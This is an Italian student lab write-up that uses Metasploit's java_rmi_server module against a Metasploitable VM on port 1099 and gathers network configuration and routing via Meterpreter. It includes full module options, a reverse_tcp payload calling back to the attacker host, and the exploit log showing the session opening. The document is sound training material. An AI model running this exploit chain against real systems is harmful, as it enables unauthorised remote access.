Esercizio S7-L5

[1] Obiettivi dell'esercizio:

- Impostare l'IP della macchina attaccante (KALI) come di seguito IP: 192.168.11.111
- Impostare l'IP della macchina vittima (Metasploitable) come di seguito IP: 192.168.11.112
- Sfruttare la vulnerabilità presente in Metasploitable sulla porta 1099 del servizio Java RMI attraverso Metasploit per raccogliere la configurazione di rete e le informazioni sulla tabella di routing.

[2] Preparazione dell'ambiente:

Iniziamo preparando l'ambiente impostando gli indirizzi ip della macchina attaccante e della macchina vittima.

KALI:

```
  GNU nano 7.2
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

METASPLOITABLE:

```
  GNU nano 2.0.7          File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

Esercizio S7-L5

[3] Definizione della vulnerabilità Java-RMI:

Il protocollo **Java RMI** permette a oggetti di classi di comunicare tra diverse macchine virtuali. Se un attaccante riesce a manipolare questi oggetti (ad esempio, inserendo codice dannoso in un oggetto che viene inviato attraverso RMI), può potenzialmente eseguire quel codice sulla macchina virtuale destinataria.

Infatti grazie a questa vulnerabilità che presenta la nostra macchina vittima, andremo a scovare la configurazione di rete e le informazioni sulla tabella di routing, grazie ai moduli exploit che offre Metasploit.

Modulo utilizzato: *exploit/multi/misc/java_rmi_server*

Payload utilizzato: *payload/linux/x86/meterpreter/reverse_tcp*

Configurazione utilizzata:

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS     192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploi
                                         t/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an addres
                                         s on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Linux x86 (Native Payload)
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/xG0LOgbAb
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:58177) at 2024-03-08 18:13:53 +0100
```

Esercizio S7-L5

[4] Conclusioni:

L'exploit è andato a buon fine e siamo riusciti a recuperare la configurazione di rete e la tabella di routing della macchina vittima come mostrato di seguito:

Configurazione di rete:

```
meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 16436
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : eth0
Hardware MAC : 08:00:27:aa:06:87
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feaa:687
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Tabella di routing:

```
meterpreter > route

IPv4 network routes
===================

    Subnet        Netmask        Gateway       Metric  Interface
    ------        -------        -------       ------  ---------
    0.0.0.0       0.0.0.0        192.168.11.1  100     eth0
    192.168.11.0  255.255.255.0  0.0.0.0       0       eth0
```